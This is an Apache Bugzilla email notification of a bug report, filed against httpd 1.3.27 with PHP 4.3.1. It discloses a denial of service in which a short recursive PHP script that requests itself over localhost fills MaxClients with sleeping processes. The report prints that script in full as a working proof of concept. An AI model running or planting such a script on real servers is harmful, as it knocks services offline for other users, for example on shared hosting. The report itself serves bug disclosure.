DO NOT REPLY TO THIS EMAIL, BUT PLEASE POST YOUR BUG 
RELATED COMMENTS THROUGH THE WEB INTERFACE AVAILABLE AT
<http://nagoya.apache.org/bugzilla/show_bug.cgi?id=20026>.
ANY REPLY MADE TO THIS MESSAGE WILL NOT BE COLLECTED AND 
INSERTED IN THE BUG DATABASE.

http://nagoya.apache.org/bugzilla/show_bug.cgi?id=20026

Apache + PHP DOS, MaxClients to sleep

           Summary: Apache + PHP DOS, MaxClients to sleep
           Product: Apache httpd-1.3
           Version: 1.3.27
          Platform: Other
        OS/Version: FreeBSD
            Status: NEW
          Severity: Normal
          Priority: Other
         Component: core
        AssignedTo: [email protected]
        ReportedBy: [EMAIL PROTECTED]


When running this php script Apache spawns 150 (MaxClients) processes, which
will all get the state sleep soon. They remain listed in the process list but
the server is not accepting new connections (because the MaxClients are
reached). Restarting apache was the solution.

Platform freebsd 5.0 Apache 1.3.27 PHP 4.3.1 also tested on Linux debian.

code apachedos.php
<?php

        function crash(){
                fopen("http://localhost/apachedos.php",r);
                crash();
                return 0;
        }
        crash();
?>
With another recursive function i got the error

httpd in free(): warning: recursive call
httpd in malloc(): warning: recursive call
FATAL:  emalloc():  Unable to allocate 64 bytes

in httpd-error.log (which kills the process).
this is should happen here too.

PS I don't know if this is a apache issue or php issue. 

This dos requires access to the server, but in a shared environment like a
hosting provider this is pretty common.

---------------------------------------------------------------------
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Reply via email to